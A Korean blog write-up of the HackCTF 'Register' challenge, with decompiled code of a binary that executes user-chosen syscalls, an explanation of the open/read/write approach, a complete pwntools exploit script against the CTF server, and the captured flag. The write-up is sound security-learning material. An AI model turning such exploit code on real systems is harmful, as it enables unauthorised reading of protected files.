ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Register
    CTF/HackCTF 2021. 2. 4. 23:49

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        alarm(5);
        setvbuf(_reloc.stdout, 0, 2, 0);
        build();
        return 0;
    }

    main은 build를 호출한다.

    void build(void)
    {
        int32_t iVar1;
        int64_t in_FS_OFFSET;
        int64_t var_40h;
        int64_t var_38h;
        int64_t var_30h;
        int64_t var_28h;
        int64_t var_20h;
        int64_t var_18h;
        int64_t var_10h;
        int64_t var_8h;
        
        var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
        signal(0xe, handler);
        do {
            do {
                get_obj((int64_t)&var_40h);
                _obj = var_40h;
                *(int64_t *)0x6010a8 = var_38h;
                *(int64_t *)0x6010b0 = var_30h;
                *(int64_t *)0x6010b8 = var_28h;
                *(int64_t *)0x6010c0 = var_20h;
                *(int64_t *)0x6010c8 = var_18h;
                *(int64_t *)0x6010d0 = var_10h;
                iVar1 = validate_syscall_obj(var_40h);
            } while (iVar1 != 0);
            raise(0xe);
        } while( true );
    }

    build는 get_obj를 통해 값을 입력받고, var_40h가 valid할 경우 handler를 호출한다.

    void handler(int64_t arg1)
    {
        int64_t var_4h;
        
        exec_syscall_obj((int64_t)obj);
        return;
    }

    handler는 obj의 앞에서부터 0x38 바이트를 레지스터에 저장하고 syscall을 호출한다.

    undefined8 get_obj(int64_t arg1)
    {
        undefined8 uVar1;
        int64_t var_8h;
        
        printf("RAX: ");
        uVar1 = get_ll();
        *(undefined8 *)arg1 = uVar1;
        printf("RDI: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 8) = uVar1;
        printf("RSI: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 0x10) = uVar1;
        printf("RDX: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 0x18) = uVar1;
        printf("RCX: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 0x20) = uVar1;
        printf("R8: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 0x28) = uVar1;
        printf("R9: ");
        uVar1 = get_ll();
        *(undefined8 *)(arg1 + 0x30) = uVar1;
        return 0;
    }
    

    그리고 obj는 get_obj를 통해 원하는 대로 조작할 수 있다.

    void get_ll(void)
    {
        int64_t in_FS_OFFSET;
        char *str;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        get_inp(&str, 0x20);
        atol(&str);
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            __stack_chk_fail();
        }
        return;
    }
    int32_t get_inp(void *arg1, undefined8 arg2)
    {
        int32_t iVar1;
        void *buf;
        undefined8 var_4h;
        
        iVar1 = read(0, arg1, (int64_t)(int32_t)arg2);
        if (iVar1 == -1) {
            exit(0);
        }
        if (*(char *)((int64_t)arg1 + (int64_t)iVar1 + -1) == '\n') {
            *(undefined *)((int64_t)arg1 + (int64_t)iVar1 + -1) = 0;
        }
        return iVar1 + -1;
    }

    read를 통해 입력받은 문자열이 atol을 통해 변환되어 저장된다는 점에 유의하자.

    undefined4 validate_syscall_obj(int64_t arg1)
    {
        int64_t var_18h;
        int64_t var_4h;
        
        if (arg1 == 2) {
            return 0;
        }
        if (arg1 < 3) {
            if (arg1 == 0) {
                return 0;
            }
            if (arg1 == 1) {
                return 0;
            }
        } else {
            if (arg1 == 3) {
                return 0;
            }
            if (arg1 == 0x3c) {
                return 0;
            }
        }
        return 1;
    }

    마지막으로 호출할 수 있는 syscall 종류는 read, write, open, close, exit이다.

    Syscall


    시스템 콜의 인자로 사용될 레지스터의 값을 원하는 대로 조작할 수 있으므로 flag가 담긴 파일을 open으로 열어 write로 쓰기 가능한 위치에 저장한 뒤, read로 읽어오면 될 것이다.

     

    HackCTF에서 flag 파일은 항상 "./flag"에 위치하므로 이를 이용하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./register"
    server = "ctf.j0n9hyun.xyz"
    port = 3026
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    
    e.checksec()
    
    bss = e.bss() + 0x100
    
    # read(0, bss, 5)
    p.sendlineafter("RAX: ", str(0))
    p.sendlineafter("RDI: ", str(0))
    p.sendlineafter("RSI: ", str(bss))
    p.sendlineafter("RDX: ", str(5))
    p.sendlineafter("RCX: ", str(0))
    p.sendlineafter("R8: ", str(0))
    p.sendlineafter("R9: ", str(0))
    
    payload = "flag\x00"
    p.send(payload)
    
    # open(bss)
    p.sendlineafter("RAX: ", str(2))
    p.sendlineafter("RDI: ", str(bss))
    p.sendlineafter("RSI: ", str(0))
    p.sendlineafter("RDX: ", str(0))
    p.sendlineafter("RCX: ", str(0))
    p.sendlineafter("R8: ", str(0))
    p.sendlineafter("R9: ", str(0))
    
    # read(3, bss, 0x40)
    p.sendlineafter("RAX: ", str(0))
    p.sendlineafter("RDI: ", str(3))
    p.sendlineafter("RSI: ", str(bss))
    p.sendlineafter("RDX: ", str(0x40))
    p.sendlineafter("RCX: ", str(0))
    p.sendlineafter("R8: ", str(0))
    p.sendlineafter("R9: ", str(0))
    
    # write(1, bss, 0x40)
    p.sendlineafter("RAX: ", str(1))
    p.sendlineafter("RDI: ", str(1))
    p.sendlineafter("RSI: ", str(bss))
    p.sendlineafter("RDX: ", str(0x40))
    p.sendlineafter("RCX: ", str(0))
    p.sendlineafter("R8: ", str(0))
    p.sendlineafter("R9: ", str(0))
    
    p.interactive()

    Flag

    HackCTF{6316964770251056468501091137477179868692}

    'CTF > HackCTF' 카테고리의 다른 글

    Unexploitable #2  (0) 2021.02.05
    RTC  (0) 2021.02.05
    Unexploitable #1  (0) 2021.02.04
    ROP  (0) 2021.02.01
    You are silver  (0) 2021.02.01

    댓글

Designed by Tistory.